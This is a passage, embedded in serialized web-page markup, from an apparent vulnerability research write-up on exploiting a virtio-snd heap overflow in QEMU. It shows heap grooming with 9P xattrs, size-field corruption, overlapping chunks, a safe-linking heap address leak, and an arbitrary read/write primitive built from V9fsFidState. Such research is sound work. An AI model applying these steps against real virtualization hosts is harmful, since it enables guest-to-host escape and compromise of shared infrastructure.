|\n+----------+----------+----------+----------+----------+\n",[135556],{"type":24,"tag":284,"props":135557,"children":135558},{"__ignoreMap":7},[135559],{"type":29,"value":135554},{"type":24,"tag":25,"props":135561,"children":135562},{},[135563,135565,135570,135572,135578,135580,135586,135588,135593,135595,135600,135602,135607],{"type":29,"value":135564},"With that heap state, issuing a ",{"type":24,"tag":284,"props":135566,"children":135568},{"className":135567},[],[135569],{"type":29,"value":135342},{"type":29,"value":135571}," request would first free ",{"type":24,"tag":284,"props":135573,"children":135575},{"className":135574},[],[135576],{"type":29,"value":135577},".name A",{"type":29,"value":135579}," and then ",{"type":24,"tag":284,"props":135581,"children":135583},{"className":135582},[],[135584],{"type":29,"value":135585},".value A",{"type":29,"value":135587},". When ",{"type":24,"tag":284,"props":135589,"children":135591},{"className":135590},[],[135592],{"type":29,"value":135585},{"type":29,"value":135594}," is freed, the allocator sees that the preceding chunk ",{"type":24,"tag":284,"props":135596,"children":135598},{"className":135597},[],[135599],{"type":29,"value":135577},{"type":29,"value":135601}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":24,"tag":284,"props":135603,"children":135605},{"className":135604},[],[135606],{"type":29,"value":134632},{"type":29,"value":135608},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":24,"tag":25,"props":135610,"children":135611},{},[135612],{"type":29,"value":135613},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":24,"tag":25,"props":135615,"children":135616},{},[135617,135619,135624,135626,135631,135633,135638,135640,135646,135648,135653,135655,135661],{"type":29,"value":135618},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":24,"tag":284,"props":135620,"children":135622},{"className":135621},[],[135623],{"type":29,"value":134632},{"type":29,"value":135625}," allocation remains fixed at size ",{"type":24,"tag":284,"props":135627,"children":135629},{"className":135628},[],[135630],{"type":29,"value":111794},{"type":29,"value":135632},". We first allocate 16 xattrs whose ",{"type":24,"tag":284,"props":135634,"children":135636},{"className":135635},[],[135637],{"type":29,"value":134639},{"type":29,"value":135639}," size is ",{"type":24,"tag":284,"props":135641,"children":135643},{"className":135642},[],[135644],{"type":29,"value":135645},"0x30",{"type":29,"value":135647},". After that, we allocate another 16 xattrs, this time with ",{"type":24,"tag":284,"props":135649,"children":135651},{"className":135650},[],[135652],{"type":29,"value":134639},{"type":29,"value":135654}," size ",{"type":24,"tag":284,"props":135656,"children":135658},{"className":135657},[],[135659],{"type":29,"value":135660},"0x40",{"type":29,"value":135662},", and continue in the same way for each tcache size class.",{"type":24,"tag":25,"props":135664,"children":135665},{},[135666],{"type":29,"value":135667},"This yields the following layout:",{"type":24,"tag":317,"props":135669,"children":135671},{"code":135670},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[135672],{"type":24,"tag":284,"props":135673,"children":135674},{"__ignoreMap":7},[135675],{"type":29,"value":135670},{"type":24,"tag":25,"props":135677,"children":135678},{},[135679,135681,135686,135688,135693,135695,135700,135702,135707,135709,135714,135716,135721,135722,135727,135729,135734,135736,135741,135743,135748,135750,135755,135757,135762],{"type":29,"value":135680},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":24,"tag":284,"props":135682,"children":135684},{"className":135683},[],[135685],{"type":29,"value":134632},{"type":29,"value":135687}," chunks end up in the ",{"type":24,"tag":284,"props":135689,"children":135691},{"className":135690},[],[135692],{"type":29,"value":111794},{"type":29,"value":135694}," tcache bin, along with the interleaved ",{"type":24,"tag":284,"props":135696,"children":135698},{"className":135697},[],[135699],{"type":29,"value":134639},{"type":29,"value":135701}," chunks of size ",{"type":24,"tag":284,"props":135703,"children":135705},{"className":135704},[],[135706],{"type":29,"value":135645},{"type":29,"value":135708},". The next 16 ",{"type":24,"tag":284,"props":135710,"children":135712},{"className":135711},[],[135713],{"type":29,"value":134632},{"type":29,"value":135715}," chunks are interleaved with ",{"type":24,"tag":284,"props":135717,"children":135719},{"className":135718},[],[135720],{"type":29,"value":134639},{"type":29,"value":135701},{"type":24,"tag":284,"props":135723,"children":135725},{"className":135724},[],[135726],{"type":29,"value":135660},{"type":29,"value":135728},"; when freed, those ",{"type":24,"tag":284,"props":135730,"children":135732},{"className":135731},[],[135733],{"type":29,"value":134639},{"type":29,"value":135735}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":24,"tag":284,"props":135737,"children":135739},{"className":135738},[],[135740],{"type":29,"value":134632},{"type":29,"value":135742}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":24,"tag":284,"props":135744,"children":135746},{"className":135745},[],[135747],{"type":29,"value":134632},{"type":29,"value":135749},"-sized chunks that will later be served to the ",{"type":24,"tag":284,"props":135751,"children":135753},{"className":135752},[],[135754],{"type":29,"value":134632},{"type":29,"value":135756}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":24,"tag":284,"props":135758,"children":135760},{"className":135759},[],[135761],{"type":29,"value":134639},{"type":29,"value":135488},{"type":24,"tag":235,"props":135764,"children":135766},{"id":135765},"corrupting-the-size",[135767],{"type":29,"value":135768},"Corrupting the Size",{"type":24,"tag":25,"props":135770,"children":135771},{},[135772,135774,135779,135781,135786,135788,135793,135795,135800,135801,135806],{"type":29,"value":135773},"The input format is guest-controlled, and we choose ",{"type":24,"tag":284,"props":135775,"children":135777},{"className":135776},[],[135778],{"type":29,"value":11022},{"type":29,"value":135780}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":24,"tag":284,"props":135782,"children":135784},{"className":135783},[],[135785],{"type":29,"value":11022},{"type":29,"value":135787}," is centered at ",{"type":24,"tag":284,"props":135789,"children":135791},{"className":135790},[],[135792],{"type":29,"value":36148},{"type":29,"value":135794}," (rather than ",{"type":24,"tag":284,"props":135796,"children":135798},{"className":135797},[],[135799],{"type":29,"value":132894},{"type":29,"value":132881},{"type":24,"tag":284,"props":135802,"children":135804},{"className":135803},[],[135805],{"type":29,"value":132872},{"type":29,"value":135807},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":24,"tag":25,"props":135809,"children":135810},{},[135811,135813,135818],{"type":29,"value":135812},"As we already concluded, ",{"type":24,"tag":284,"props":135814,"children":135816},{"className":135815},[],[135817],{"type":29,"value":132337},{"type":29,"value":135819}," is called with the amount:",{"type":24,"tag":317,"props":135821,"children":135823},{"code":135822},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[135824],{"type":24,"tag":284,"props":135825,"children":135826},{"__ignoreMap":7},[135827],{"type":29,"value":135822},{"type":24,"tag":25,"props":135829,"children":135830},{},[135831,135833,135838,135840,135845],{"type":29,"value":135832},"And as mentioned earlier, ",{"type":24,"tag":284,"props":135834,"children":135836},{"className":135835},[],[135837],{"type":29,"value":132368},{"type":29,"value":135839}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":24,"tag":284,"props":135841,"children":135843},{"className":135842},[],[135844],{"type":29,"value":130987},{"type":29,"value":65048},{"type":24,"tag":25,"props":135847,"children":135848},{},[135849,135851,135856,135858,135863],{"type":29,"value":135850},"With the desired heap layout of repeated ",{"type":24,"tag":284,"props":135852,"children":135854},{"className":135853},[],[135855],{"type":29,"value":134541},{"type":29,"value":135857},"-sized ",{"type":24,"tag":284,"props":135859,"children":135861},{"className":135860},[],[135862],{"type":29,"value":134639},{"type":29,"value":135864}," chunks in place, we can then free every other one:",{"type":24,"tag":317,"props":135866,"children":135868},{"code":135867},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[135869],{"type":24,"tag":284,"props":135870,"children":135871},{"__ignoreMap":7},[135872],{"type":29,"value":135867},{"type":24,"tag":25,"props":135874,"children":135875},{},[135876,135878,135883],{"type":29,"value":135877},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":24,"tag":284,"props":135879,"children":135881},{"className":135880},[],[135882],{"type":29,"value":134639},{"type":29,"value":135884}," chunk directly next to it:",{"type":24,"tag":317,"props":135886,"children":135888},{"code":135887},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[135889],{"type":24,"tag":284,"props":135890,"children":135891},{"__ignoreMap":7},[135892],{"type":29,"value":135887},{"type":24,"tag":25,"props":135894,"children":135895},{},[135896,135898,135903,135905,135910],{"type":29,"value":135897},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":24,"tag":284,"props":135899,"children":135901},{"className":135900},[],[135902],{"type":29,"value":134541},{"type":29,"value":135904},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":24,"tag":284,"props":135906,"children":135908},{"className":135907},[],[135909],{"type":29,"value":134639},{"type":29,"value":135911}," chunk now has a corrupted and likely oversized size field:",{"type":24,"tag":317,"props":135913,"children":135915},{"code":135914},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[135916],{"type":24,"tag":284,"props":135917,"children":135918},{"__ignoreMap":7},[135919],{"type":29,"value":135914},{"type":24,"tag":25,"props":135921,"children":135922},{},[135923,135925,135930],{"type":29,"value":135924},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":24,"tag":284,"props":135926,"children":135928},{"className":135927},[],[135929],{"type":29,"value":134556},{"type":29,"value":1636},{"type":24,"tag":317,"props":135932,"children":135934},{"code":135933},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[135935],{"type":24,"tag":284,"props":135936,"children":135937},{"__ignoreMap":7},[135938],{"type":29,"value":135933},{"type":24,"tag":25,"props":135940,"children":135941},{},[135942,135944,135949],{"type":29,"value":135943},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":24,"tag":284,"props":135945,"children":135947},{"className":135946},[],[135948],{"type":29,"value":134556},{"type":29,"value":2108},{"type":24,"tag":317,"props":135951,"children":135953},{"code":135952},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[135954],{"type":24,"tag":284,"props":135955,"children":135956},{"__ignoreMap":7},[135957],{"type":29,"value":135952},{"type":24,"tag":25,"props":135959,"children":135960},{},[135961,135963,135969],{"type":29,"value":135962},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":24,"tag":284,"props":135964,"children":135966},{"className":135965},[],[135967],{"type":29,"value":135968},"0x400",{"type":29,"value":135970}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":24,"tag":317,"props":135972,"children":135974},{"code":135973},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[135975],{"type":24,"tag":284,"props":135976,"children":135977},{"__ignoreMap":7},[135978],{"type":29,"value":135973},{"type":24,"tag":235,"props":135980,"children":135982},{"id":135981},"leaking-a-heap-address",[135983],{"type":29,"value":135984},"Leaking a Heap Address",{"type":24,"tag":25,"props":135986,"children":135987},{},[135988],{"type":29,"value":135989},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":24,"tag":25,"props":135991,"children":135992},{},[135993,135995,136001],{"type":29,"value":135994},"To do this, we abuse the forward (",{"type":24,"tag":284,"props":135996,"children":135998},{"className":135997},[],[135999],{"type":29,"value":136000},"fd",{"type":29,"value":136002},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":24,"tag":317,"props":136004,"children":136006},{"code":136005},"fd = next ^ (curr >> 12)\n",[136007],{"type":24,"tag":284,"props":136008,"children":136009},{"__ignoreMap":7},[136010],{"type":29,"value":136005},{"type":24,"tag":25,"props":136012,"children":136013},{},[136014,136016,136021,136022,136027],{"type":29,"value":136015},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":24,"tag":284,"props":136017,"children":136019},{"className":136018},[],[136020],{"type":29,"value":64287},{"type":29,"value":13069},{"type":24,"tag":284,"props":136023,"children":136025},{"className":136024},[],[136026],{"type":29,"value":61217},{"type":29,"value":136028}," because there is no following entry. In that case, the encoding becomes:",{"type":24,"tag":317,"props":136030,"children":136032},{"code":136031},"fd = 0 ^ (curr >> 12)\n",[136033],{"type":24,"tag":284,"props":136034,"children":136035},{"__ignoreMap":7},[136036],{"type":29,"value":136031},{"type":24,"tag":25,"props":136038,"children":136039},{},[136040,136042,136047],{"type":29,"value":136041},"So if we free a single chunk into an empty tcache bin, its ",{"type":24,"tag":284,"props":136043,"children":136045},{"className":136044},[],[136046],{"type":29,"value":136000},{"type":29,"value":136048}," field is effectively just the chunk address shifted right by 12.",{"type":24,"tag":25,"props":136050,"children":136051},{},[136052],{"type":29,"value":136053},"In the overlap we achieved earlier:",{"type":24,"tag":317,"props":136055,"children":136057},{"code":136056},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[136058],{"type":24,"tag":284,"props":136059,"children":136060},{"__ignoreMap":7},[136061],{"type":29,"value":136056},{"type":24,"tag":25,"props":136063,"children":136064},{},[136065,136067,136073,136075,136081,136083,136089,136091,136096],{"type":29,"value":136066},"We first free ",{"type":24,"tag":284,"props":136068,"children":136070},{"className":136069},[],[136071],{"type":29,"value":136072},".value C",{"type":29,"value":136074}," into tcache and read its contents through the oversized ",{"type":24,"tag":284,"props":136076,"children":136078},{"className":136077},[],[136079],{"type":29,"value":136080},".value Y",{"type":29,"value":136082},". This gives us ",{"type":24,"tag":284,"props":136084,"children":136086},{"className":136085},[],[136087],{"type":29,"value":136088},".value C >> 12",{"type":29,"value":136090},". That is not yet the exact address of ",{"type":24,"tag":284,"props":136092,"children":136094},{"className":136093},[],[136095],{"type":29,"value":136072},{"type":29,"value":136097},", since the lower 12 bits are lost.",{"type":24,"tag":25,"props":136099,"children":136100},{},[136101,136103,136108,136110,136115,136117,136122,136124,136129],{"type":29,"value":136102},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":24,"tag":284,"props":136104,"children":136106},{"className":136105},[],[136107],{"type":29,"value":136072},{"type":29,"value":136109},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":24,"tag":284,"props":136111,"children":136113},{"className":136112},[],[136114],{"type":29,"value":136072},{"type":29,"value":136116}," again. This time, ",{"type":24,"tag":284,"props":136118,"children":136120},{"className":136119},[],[136121],{"type":29,"value":64287},{"type":29,"value":136123}," is no longer ",{"type":24,"tag":284,"props":136125,"children":136127},{"className":136126},[],[136128],{"type":29,"value":61217},{"type":29,"value":136130},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":24,"tag":317,"props":136132,"children":136133},{"code":136005},[136134],{"type":24,"tag":284,"props":136135,"children":136136},{"__ignoreMap":7},[136137],{"type":29,"value":136005},{"type":24,"tag":25,"props":136139,"children":136140},{},[136141,136143,136149,136151,136156,136158,136163,136165,136170],{"type":29,"value":136142},"Since we already know ",{"type":24,"tag":284,"props":136144,"children":136146},{"className":136145},[],[136147],{"type":29,"value":136148},"curr >> 12",{"type":29,"value":136150}," from the first leak, we can read the new ",{"type":24,"tag":284,"props":136152,"children":136154},{"className":136153},[],[136155],{"type":29,"value":136000},{"type":29,"value":136157}," value from ",{"type":24,"tag":284,"props":136159,"children":136161},{"className":136160},[],[136162],{"type":29,"value":136072},{"type":29,"value":136164}," and recover the exact address of ",{"type":24,"tag":284,"props":136166,"children":136168},{"className":136167},[],[136169],{"type":29,"value":64287},{"type":29,"value":136171}," by reversing the XOR:",{"type":24,"tag":317,"props":136173,"children":136175},{"code":136174},"next = fd ^ (curr >> 12)\n",[136176],{"type":24,"tag":284,"props":136177,"children":136178},{"__ignoreMap":7},[136179],{"type":29,"value":136174},{"type":24,"tag":25,"props":136181,"children":136182},{},[136183],{"type":29,"value":136184},"This gives us the exact address of a heap chunk whose contents we control.",{"type":24,"tag":235,"props":136186,"children":136188},{"id":136187},"arbitrary-read-and-write",[136189],{"type":29,"value":136190},"Arbitrary Read and Write",{"type":24,"tag":25,"props":136192,"children":136193},{},[136194,136196,136201],{"type":29,"value":136195},"Having a controlled chunk at a known address lets us repurpose ",{"type":24,"tag":284,"props":136197,"children":136199},{"className":136198},[],[136200],{"type":29,"value":136072},{"type":29,"value":136202}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":24,"tag":25,"props":136204,"children":136205},{},[136206,136208,136213],{"type":29,"value":136207},"Recall ",{"type":24,"tag":284,"props":136209,"children":136211},{"className":136210},[],[136212],{"type":29,"value":134676},{"type":29,"value":1636},{"type":24,"tag":317,"props":136215,"children":136217},{"code":136216,"language":320,"meta":7,"className":321,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[136218],{"type":24,"tag":284,"props":136219,"children":136220},{"__ignoreMap":7},[136221,136260,136267,136278,136293,136308,136315,136322,136329,136351,136358,136365,136372,136380,136397,136436,136479,136486],{"type":24,"tag":327,"props":136222,"children":136223},{"class":329,"line":330},[136224,136228,136232,136236,136240,136244,136248,136252,136256],{"type":24,"tag":327,"props":136225,"children":136226},{"style":334},[136227],{"type":29,"value":57765},{"type":24,"tag":327,"props":136229,"children":136230},{"style":334},[136231],{"type":29,"value":57770},{"type":24,"tag":327,"props":136233,"children":136234},{"style":346},[136235],{"type":29,"value":134671},{"type":24,"tag":327,"props":136237,"children":136238},{"style":340},[136239],{"type":29,"value":134676},{"type":24,"tag":327,"props":136241,"children":136242},{"style":346},[136243],{"type":29,"value":349},{"type":24,"tag":327,"props":136245,"children":136246},{"style":334},[136247],{"type":29,"value":58348},{"type":24,"tag":327,"props":136249,"children":136250},{"style":381},[136251],{"type":29,"value":17364},{"type":24,"tag":327,"props":136253,"children":136254},{"style":356},[136255],{"type":29,"value":134693},{"type":24,"tag":327,"props":136257,"children":136258},{"style":346},[136259],{"type":29,"value":852},{"type":24,"tag":327,"props":136261,"children":136262},{"class":329,"line":367},[136263],{"type":24,"tag":327,"props":136264,"children":136265},{"style":346},[136266],{"type":29,"value":18427},{"type":24,"tag":327,"props":136268,"children":136269},{"class":329,"line":408},[136270,136274],{"type":24,"tag":327,"props":136271,"children":136272},{"style":334},[136273],{"type":29,"value":62334},{"type":24,"tag":327,"props":136275,"children":136276},{"style":346},[136277],{"type":29,"value":131329},{"type":24,"tag":327,"props":136279,"children":136280},{"class":329,"line":421},[136281,136285,136289],{"type":24,"tag":327,"props":136282,"children":136283},{"style":346},[136284],{"type":29,"value":134818},{"type":24,"tag":327,"props":136286,"children":136287},{"style":381},[136288],{"type":29,"value":469},{"type":24,"tag":327,"props":136290,"children":136291},{"style":346},[136292],{"type":29,"value":134827},{"type":24,"tag":327,"props":136294,"children":136295},{"class":329,"line":450},[136296,136300,136304],{"type":24,"tag":327,"props":136297,"children":136298},{"style":346},[136299],{"type":29,"value":134818},{"type":24,"tag":327,"props":136301,"children":136302},{"style":381},[136303],{"type":29,"value":469},{"type":24,"tag":327,"props":136305,"children":136306},{"style":346},[136307],{"type":29,"value":134843},{"type":24,"tag":327,"props":136309,"children":136310},{"class":329,"line":481},[136311],{"type":24,"tag":327,"props":136312,"children":136313},{"emptyLinePlaceholder":16},[136314],{"type":29,"value":544},{"type":24,"tag":327,"props":136316,"children":136317},{"class":329,"line":500},[136318],{"type":24,"tag":327,"props":136319,"children":136320},{"style":346},[136321],{"type":29,"value":111528},{"type":24,"tag":327,"props":136323,"children":136324},{"class":329,"line":529},[136325],{"type":24,"tag":327,"props":136326,"children":136327},{"emptyLinePlaceholder":16},[136328],{"type":29,"value":544},{"type":24,"tag":327,"props":136330,"children":136331},{"class":329,"line":538},[136332,136337,136341,136346],{"type":24,"tag":327,"props":136333,"children":136334},{"style":346},[136335],{"type":29,"value":136336},"    file_fidp ",{"type":24,"tag":327,"props":136338,"children":136339},{"style":381},[136340],{"type":29,"value":384},{"type":24,"tag":327,"props":136342,"children":136343},{"style":340},[136344],{"type":29,"value":136345}," get_fid",{"type":24,"tag":327,"props":136347,"children":136348},{"style":346},[136349],{"type":29,"value":136350},"(pdu, fid);\n",{"type":24,"tag":327,"props":136352,"children":136353},{"class":329,"line":547},[136354],{"type":24,"tag":327,"props":136355,"children":136356},{"emptyLinePlaceholder":16},[136357],{"type":29,"value":544},{"type":24,"tag":327,"props":136359,"children":136360},{"class":329,"line":557},[136361],{"type":24,"tag":327,"props":136362,"children":136363},{"style":346},[136364],{"type":29,"value":111528},{"type":24,"tag":327,"props":136366,"children":136367},{"class":329,"line":586},[136368],{"type":24,"tag":327,"props":136369,"children":136370},{"emptyLinePlaceholder":16},[136371],{"type":29,"value":544},{"type":24,"tag":327,"props":136373,"children":136374},{"class":329,"line":1017},[136375],{"type":24,"tag":327,"props":136376,"children":136377},{"style":551},[136378],{"type":29,"value":136379},"    /* Make the file fid point to xattr */\n",{"type":24,"tag":327,"props":136381,"children":136382},{"class":329,"line":1026},[136383,136388,136392],{"type":24,"tag":327,"props":136384,"children":136385},{"style":346},[136386],{"type":29,"value":136387},"    xattr_fidp ",{"type":24,"tag":327,"props":136389,"children":136390},{"style":381},[136391],{"type":29,"value":384},{"type":24,"tag":327,"props":136393,"children":136394},{"style":346},[136395],{"type":29,"value":136396}," file_fidp;\n",{"type":24,"tag":327,"props":136398,"children":136399},{"class":329,"line":1048},[136400,136404,136408,136412,136416,136420,136424,136428,136432],{"type":24,"tag":327,"props":136401,"children":136402},{"style":356},[136403],{"type":29,"value":135221},{"type":24,"tag":327,"props":136405,"children":136406},{"style":346},[136407],{"type":29,"value":1679},{"type":24,"tag":327,"props":136409,"children":136410},{"style":356},[136411],{"type":29,"value":43695},{"type":24,"tag":327,"props":136413,"children":136414},{"style":346},[136415],{"type":29,"value":66},{"type":24,"tag":327,"props":136417,"children":136418},{"style":356},[136419],{"type":29,"value":135145},{"type":24,"tag":327,"props":136421,"children":136422},{"style":346},[136423],{"type":29,"value":66},{"type":24,"tag":327,"props":136425,"children":136426},{"style":356},[136427],{"type":29,"value":4906},{"type":24,"tag":327,"props":136429,"children":136430},{"style":381},[136431],{"type":29,"value":4809},{"type":24,"tag":327,"props":136433,"children":136434},{"style":346},[136435],{"type":29,"value":131329},{"type":24,"tag":327,"props":136437,"children":136438},{"class":329,"line":1067},[136439,136443,136447,136451,136455,136459,136463,136467,136471,136475],{"type":24,"tag":327,"props":136440,"children":136441},{"style":356},[136442],{"type":29,"value":135221},{"type":24,"tag":327,"props":136444,"children":136445},{"style":346},[136446],{"type":29,"value":1679},{"type":24,"tag":327,"props":136448,"children":136449},{"style":356},[136450],{"type":29,"value":43695},{"type":24,"tag":327,"props":136452,"children":136453},{"style":346},[136454],{"type":29,"value":66},{"type":24,"tag":327,"props":136456,"children":136457},{"style":356},[136458],{"type":29,"value":135145},{"type":24,"tag":327,"props":136460,"children":136461},{"style":346},[136462],{"type":29,"value":66},{"type":24,"tag":327,"props":136464,"children":136465},{"style":356},[136466],{"type":29,"value":45865},{"type":24,"tag":327,"props":136468,"children":136469},{"style":381},[136470],{"type":29,"value":4809},{"type":24,"tag":327,"props":136472,"children":136473},{"style":340},[136474],{"type":29,"value":130900},{"type":24,"tag":327,"props":136476,"children":136477},{"style":346},[136478],{"type":29,"value":135258},{"type":24,"tag":327,"props":136480,"children":136481},{"class":329,"line":1075},[136482],{"type":24,"tag":327,"props":136483,"children":136484},{"emptyLinePlaceholder":16},[136485],{"type":29,"value":544},{"type":24,"tag":327,"props":136487,"children":136488},{"class":329,"line":1084},[136489],{"type":24,"tag":327,"props":136490,"children":136491},{"style":346},[136492],{"type":29,"value":111528},{"type":24,"tag":25,"props":136494,"children":136495},{},[136496,136498,136504,136506,136511,136512,136517,136519,136524,136526,136532,136533,136539,136541,136546,136547,136552],{"type":29,"value":136497},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":24,"tag":284,"props":136499,"children":136501},{"className":136500},[],[136502],{"type":29,"value":136503},"V9fsFidState",{"type":29,"value":136505}," object. In other words, if we can place a ",{"type":24,"tag":284,"props":136507,"children":136509},{"className":136508},[],[136510],{"type":29,"value":136503},{"type":29,"value":14884},{"type":24,"tag":284,"props":136513,"children":136515},{"className":136514},[],[136516],{"type":29,"value":136072},{"type":29,"value":136518}," currently sits, the overlapping ",{"type":24,"tag":284,"props":136520,"children":136522},{"className":136521},[],[136523],{"type":29,"value":136080},{"type":29,"value":136525}," chunk can overwrite ",{"type":24,"tag":284,"props":136527,"children":136529},{"className":136528},[],[136530],{"type":29,"value":136531},"V9fsFidState.fs.xattr.value",{"type":29,"value":1323},{"type":24,"tag":284,"props":136534,"children":136536},{"className":136535},[],[136537],{"type":29,"value":136538},"V9fsFidState.fs.xattr.len",{"type":29,"value":136540},". That would immediately give us arbitrary read and write through ",{"type":24,"tag":284,"props":136542,"children":136544},{"className":136543},[],[136545],{"type":29,"value":135334},{"type":29,"value":1323},{"type":24,"tag":284,"props":136548,"children":136550},{"className":136549},[],[136551],{"type":29,"value":135326},{"type":29,"value":66},{"type":24,"tag":25,"props":136554,"children":136555},{},[136556,136558,136563,136564,136569,136571,136576,136578,136584,136586,136591,136593,136598,136600,136605,136607,136612,136614,136619],{"type":29,"value":136557},"At this point, ",{"type":24,"tag":284,"props":136559,"children":136561},{"className":136560},[],[136562],{"type":29,"value":136072},{"type":29,"value":22966},{"type":24,"tag":284,"props":136565,"children":136567},{"className":136566},[],[136568],{"type":29,"value":134541},{"type":29,"value":136570}," chunk, while ",{"type":24,"tag":284,"props":136572,"children":136574},{"className":136573},[],[136575],{"type":29,"value":136503},{"type":29,"value":136577}," falls into the ",{"type":24,"tag":284,"props":136579,"children":136581},{"className":136580},[],[136582],{"type":29,"value":136583},"0x120",{"type":29,"value":136585}," size class. Before freeing ",{"type":24,"tag":284,"props":136587,"children":136589},{"className":136588},[],[136590],{"type":29,"value":136072},{"type":29,"value":136592},", we therefore use the oversized ",{"type":24,"tag":284,"props":136594,"children":136596},{"className":136595},[],[136597],{"type":29,"value":136080},{"type":29,"value":136599}," chunk to change its size to match ",{"type":24,"tag":284,"props":136601,"children":136603},{"className":136602},[],[136604],{"type":29,"value":136503},{"type":29,"value":136606},". Once ",{"type":24,"tag":284,"props":136608,"children":136610},{"className":136609},[],[136611],{"type":29,"value":136072},{"type":29,"value":136613}," is freed, it is inserted into the ",{"type":24,"tag":284,"props":136615,"children":136617},{"className":136616},[],[136618],{"type":29,"value":136583},{"type":29,"value":136620}," tcache bin.",{"type":24,"tag":317,"props":136622,"children":136624},{"code":136623},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[136625],{"type":24,"tag":284,"props":136626,"children":136627},{"__ignoreMap":7},[136628],{"type":29,"value":136623},{"type":24,"tag":25,"props":136630,"children":136631},{},[136632,136634,136639,136641,136647,136649,136655,136657,136662],{"type":29,"value":136633},"After that, we can simply allocate a new ",{"type":24,"tag":284,"props":136635,"children":136637},{"className":136636},[],[136638],{"type":29,"value":136503},{"type":29,"value":136640}," with a ",{"type":24,"tag":284,"props":136642,"children":136644},{"className":136643},[],[136645],{"type":29,"value":136646},"P9_TWALK",{"type":29,"value":136648}," request and a fresh FID - this reaches 